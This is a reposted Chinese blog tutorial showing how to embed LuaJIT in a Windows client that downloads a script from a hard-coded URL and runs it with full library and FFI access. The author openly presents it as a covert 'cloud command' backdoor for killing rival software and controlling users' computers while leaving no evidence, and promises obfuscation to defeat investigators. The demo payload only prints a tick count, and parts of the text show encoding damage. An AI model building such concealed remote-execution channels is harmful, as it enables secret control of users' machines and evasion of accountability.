在windows程序中嵌入Lua脚本引擎--建立一个简易的“云命令”执行的系统
? ? ? ? ? 在《在windows程序中嵌入Lua腳本引擎--使用VS IDE編譯Luajit腳本引擎》開始處,我提到某公司被指責(zé)使用“云命令”暗殺一些軟件。本文將講述如何去模擬一個(gè)簡(jiǎn)易的“云指令”執(zhí)行系統(tǒng)。(轉(zhuǎn)載請(qǐng)指明出于breaksoftware的csdn博客)
? ? ? ? 首先我們思考下“云指令”的優(yōu)點(diǎn):
? ? ? ? 1 一次性執(zhí)行,在客戶端幾乎無法得知其被執(zhí)行的證據(jù)。在CS體系結(jié)構(gòu)中,如果我們要完成某個(gè)業(yè)務(wù)需求,往往要修改二進(jìn)制文件,并發(fā)布到客戶端。這樣,我們?cè)诳蛻舳说母北緦⒂袡C(jī)會(huì)去執(zhí)行相關(guān)邏輯。如果我們要做些壞事,比如暗殺某個(gè)軟件,我們要是在客戶端寫死這個(gè)邏輯,很容易被逆向從而被舉證。這將面臨法律風(fēng)險(xiǎn)。如果我們服務(wù)端向客戶端發(fā)一些指令(二進(jìn)制流),這些指令會(huì)被執(zhí)行,從而做些操作,將很難會(huì)被發(fā)現(xiàn)。
? ? ? ? 2 節(jié)約流量。有人可能會(huì)想,那為什么不從服務(wù)端直接拉一個(gè)Exe去做這樣的操作呢?如果去拉取Exe,將很容易被FileMon這類軟件發(fā)現(xiàn),從而讓舉證者輕易拿到我們Exe文件并終止我們“毀尸滅跡”的操作。這就是為什么不發(fā)一些小的Exe去執(zhí)行指令的原因。還有一個(gè)原因便是文件大小,Exe文件一般來說會(huì)比我們編寫的Lua腳本要大。
? ? ? ??我想第一點(diǎn)就已經(jīng)非常吸引你了,試想,如果有了此功能,那么我們就可以輕易操控用戶的電腦了。
? ? ? ? 下面我們看下如何實(shí)現(xiàn)這樣的一個(gè)“云指令”系統(tǒng)。
? ? ? ? 1 編譯生成一個(gè)Luajit的Lib文件
? ? ? ? 緊接前一篇文章。我們新建一個(gè)名字叫LuajitLib的工程。它的目的和LualibProject工程相似——生成一個(gè)lib文件。但是我們這次要生成一個(gè)我們已知導(dǎo)出函數(shù)的一個(gè)lib,該函數(shù)將完成執(zhí)行指令的操作。
? ? ? ? 和LualibProject工程一樣,我們要鏈接Lua工程生成的obj文件。在Librarian->General->Additional Dependencies中設(shè)置
$(TargetDir)libobj\lib_*.obj
$(TargetDir)ljobj\lj_*.obj
$(TargetDir)lj_vm.obj
?? ? ? ? 在Librarian->General->Export Named Functions中設(shè)置導(dǎo)出函數(shù)名ExcuteLuaString
? ? ? ? 在C\C++->General->Additional Include Directories中設(shè)置我們要引入的頭文件目錄
"$(SolutionDir)Header";"$(SolutionDir)OtherHeader"
? ? ? ? 其他和LualibProject一樣。我們給LuajitLib工程新建一個(gè)頭文件
#pragma once#ifdef __cplusplus
#define EXTERN_C extern "C"
#else
#define EXTERN_C extern
#endif EXTERN_C void ExcuteLuaString( const char* lpBuffer, unsigned long ulBufferSize );
? ? ? ? 其中第一個(gè)參數(shù)是我們傳入指令的地址,第二個(gè)參數(shù)是指令的長(zhǎng)度。
#include "ExcuteLua.h"#include "lualib.h"
#include "lauxlib.h"void ExcuteLuaString( const char* lpBuffer, unsigned long ulBufferSize )
{int nStatus = 0;lua_State* L = luaL_newstate();luaL_openlibs(L);nStatus = luaL_loadbufferx( L, lpBuffer, ulBufferSize, NULL, NULL );nStatus = lua_pcall(L, 0, 0, 0);lua_close(L);
}
? ? ? ? 這個(gè)CPP也很簡(jiǎn)單,就是簡(jiǎn)單的實(shí)現(xiàn)執(zhí)行Lua執(zhí)行。如此便生成一個(gè)名字為L(zhǎng)uajitLib.lib的文件。
? ? ? ? 2 編一個(gè)簡(jiǎn)易的客戶端。
? ? ? ? 為了盡量簡(jiǎn)易,我們就新建一個(gè)名字為L(zhǎng)uaConsoleTest的Console程序。該工程將引用1中生成的lib文件。
? ? ? ? 同時(shí),該工程提供一個(gè)下載工程,即模擬從服務(wù)端下發(fā)數(shù)據(jù)。
#define MAXBLOCKSIZE 1024
BOOL GetCloudCmd( const std::string& strUrl, std::string& strCmd )
{BOOL bSuc = FALSE;do {HINTERNET hSession = InternetOpenA("IE/1.0 ", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);if ( NULL == hSession ) {break;}HINTERNET handle = InternetOpenUrlA(hSession, strUrl.c_str(), NULL, 0 , INTERNET_FLAG_DONT_CACHE, 0);if ( NULL == handle ) {break;}byte Temp[MAXBLOCKSIZE] = {0};ULONG Number = 1 ;while (Number > 0 ) {InternetReadFile(handle, Temp, MAXBLOCKSIZE - 1,& Number );strCmd.append((char*)Temp);memset(Temp,0, MAXBLOCKSIZE);} InternetCloseHandle(handle);handle = NULL;InternetCloseHandle(hSession);hSession = NULL;bSuc = TRUE;} while (0);return bSuc;}
? ? ? ? 在主程序中,我將執(zhí)行獲取“云端指令”和執(zhí)行指令的操作。
int _tmain(int argc, _TCHAR* argv[])
{std::string strUrl = "http://dl5.csdn.net/fd.php?i=341748182061456&s=95f3ecf9a259c4f38fcf60493a699287" ;std::string strCmd = "";if ( GetCloudCmd(strUrl, strCmd) ){ExcuteLuaString(strCmd.c_str(), strCmd.length());}return 0;
}
? ? ? ? ? 該段中URL是我寫死的一個(gè)地址。這是為了簡(jiǎn)易,如果想搞的復(fù)雜,可以考慮讓服務(wù)器下發(fā)地址或者直接下發(fā)命令。
? ? ? ? ? 我在服務(wù)端保存的是一個(gè)簡(jiǎn)易的Lua腳本。該腳本使用了ffi庫(kù),即讓我們可以像使用C語言一樣寫Lua腳本,這個(gè)也是令人非常激動(dòng)的一點(diǎn)。
local ffi = require "ffi"
ffi.cdef[[unsigned int GetTickCount()]]
print(ffi.C.GetTickCount())
? ? ? ? ?這樣,客戶端就執(zhí)行了”云指令“——打印出TickCount。
? ? ? ? 可能有人會(huì)提出更高的要求,比如這個(gè)Lua的內(nèi)容太長(zhǎng)了!其實(shí)它真的不長(zhǎng),但是的確我們可以讓它短點(diǎn),而且讓這樣的函數(shù)名不再明顯,增加破解者閱讀的難度。我會(huì)在之后講解如何去封轉(zhuǎn)自己的Lua庫(kù),如何編寫更“難以閱讀”,更簡(jiǎn)短的“云指令”。
總結(jié)
以上是生活随笔為你收集整理的在windows程序中嵌入Lua脚本引擎--建立一个简易的“云命令”执行的系统的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 在windows程序中嵌入Lua脚本引擎
- 下一篇: 在windows程序中嵌入Lua脚本引擎